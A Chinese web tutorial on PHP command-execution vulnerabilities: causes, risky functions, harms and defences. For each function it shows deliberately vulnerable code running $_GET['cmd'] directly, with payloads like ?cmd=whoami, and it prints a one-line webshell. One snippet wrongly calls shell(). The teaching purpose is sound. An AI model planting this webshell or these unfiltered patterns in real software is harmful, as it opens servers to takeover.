php網(wǎng)絡安全中命令執(zhí)行漏洞的產(chǎn)生及本質(zhì)探究
更新時間:2023年02月24日 09:49:25 作者:Thunderclap_
這篇文章主要介紹了php網(wǎng)絡安全中命令執(zhí)行漏洞的產(chǎn)生及本質(zhì),文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習吧
漏洞的產(chǎn)生原因
- 代碼層過濾不嚴。應用程序直接或間接使用了動態(tài)執(zhí)行命令的危險函數(shù),并且這個函數(shù)的運行參數(shù)是可控的
- 系統(tǒng)的漏洞造成命令注入
漏洞的本質(zhì)
應用有時需要調(diào)用一些執(zhí)行系統(tǒng)命令的函數(shù),當服務器沒有嚴格過濾用戶提供的參數(shù)時,就有可能導致用戶提交惡意代碼被服務器執(zhí)行,從而造成命令執(zhí)行漏洞。
涉及到的函數(shù)
- 1.system
- 2.exec()
- 3.shell_exec()
- 4.passthru()
- 5.popen()
- 6.反引號
命令執(zhí)行漏洞的危害
- 1.繼承Web 服務器程序權限(Web用戶權限),去執(zhí)行系統(tǒng)命令
- 2.繼承Web服務器權限,讀寫文件
- 3.反彈Shell
- 4.控制整個網(wǎng)站
- 5.控制整個服務器
命令執(zhí)行漏洞的防御
- 1、盡量少使用執(zhí)行命令函數(shù)或者禁用disable_functions
- 2、在進入執(zhí)行命令的函數(shù)之前,對參數(shù)進行過濾,對敏感字符進行轉義
- 3、參數(shù)值盡量使用引號包括,并在拼接前調(diào)用addslashes進行轉義
命令執(zhí)行相關函數(shù)的使用
system()
- 說明:能夠將字符串作為OS命令執(zhí)行,自帶輸出功能
- 測試參考代碼:
<?php
if(isset($_GET['cmd'])){
system($_GET['cmd']);
}
?>
payload:?cmd=ipconfigexec()
- 說明:能將字符串作為OS命令執(zhí)行,但無輸出,需要輸出執(zhí)行結果print。
- exec() 默認只輸出最后一行的數(shù)據(jù)
- 如果想讓他輸出全部結果,可以加一個參數(shù),即exec(ifconfig,$arr); print_r($arr);,如一句話木馬:<?php exec($_REQUEST[123],$arr);print_r($arr)?>
- 測試參考代碼
<?php
if(isset($_GET['cmd'])){
print exec($_GET['cmd']);
}
?>
payload:?cmd=whoamishell_exec()
- 說明:執(zhí)行命令并以字符串的形式,返回完整的信息,但是函數(shù)無回顯,需要輸出執(zhí)行結果。
- 測試參考代碼
<?php
if(isset($_GET['cmd'])){
print shell($_GET['cmd']);
}
?>
payload:?cmd=whoamipassthru()
- 說明:執(zhí)行外部命令,與system()類似,但是該函數(shù)會直接將結果輸出,無需輸出執(zhí)行。
- 測試參考代碼
<?php
if(isset($_GET['cmd'])){
passthru($_GET['cmd']);
}
?>
payload:?cmd=whoamipopen()
- 說明:能夠執(zhí)行OS命令,但是該函數(shù)并不是返回命令結果,而是返回一個文件指針
- 測試參考代碼
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'].">>1.txt";
popen($cmd,'r');
}
?>
payload:?cmd=whoami反引號
- 說明:反引號[``]內(nèi)的字符串,也會被解析成OS命令
- 反引號背后執(zhí)行的代碼其實是調(diào)用了shell_exec(),所以禁用了shell_exec()同樣反引號也無法使用了。
- 測試參考代碼
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
print `$cmd`;
}
?>
payload:?cmd=whoami到此這篇關于php網(wǎng)絡安全中命令執(zhí)行漏洞的產(chǎn)生及本質(zhì)探究的文章就介紹到這了,更多相關php命令執(zhí)行漏洞內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!
您可能感興趣的文章:
相關文章
PHP實現(xiàn)從PostgreSQL數(shù)據(jù)庫檢索數(shù)據(jù)分頁顯示及根據(jù)條件查找數(shù)據(jù)示例
這篇文章主要介紹了PHP實現(xiàn)從PostgreSQL數(shù)據(jù)庫檢索數(shù)據(jù)分頁顯示及根據(jù)條件查找數(shù)據(jù)操作,涉及PHP操作PostgreSQL數(shù)據(jù)庫的SQL條件查詢、分頁、顯示等相關操作技巧,需要的朋友可以參考下2018-06-06
php+jquery編碼方面的一些心得(utf-8 gb2312)
在開發(fā)php與jquery的過程中,需要注意的一些心得,防止亂碼的出現(xiàn)。2010-10-10

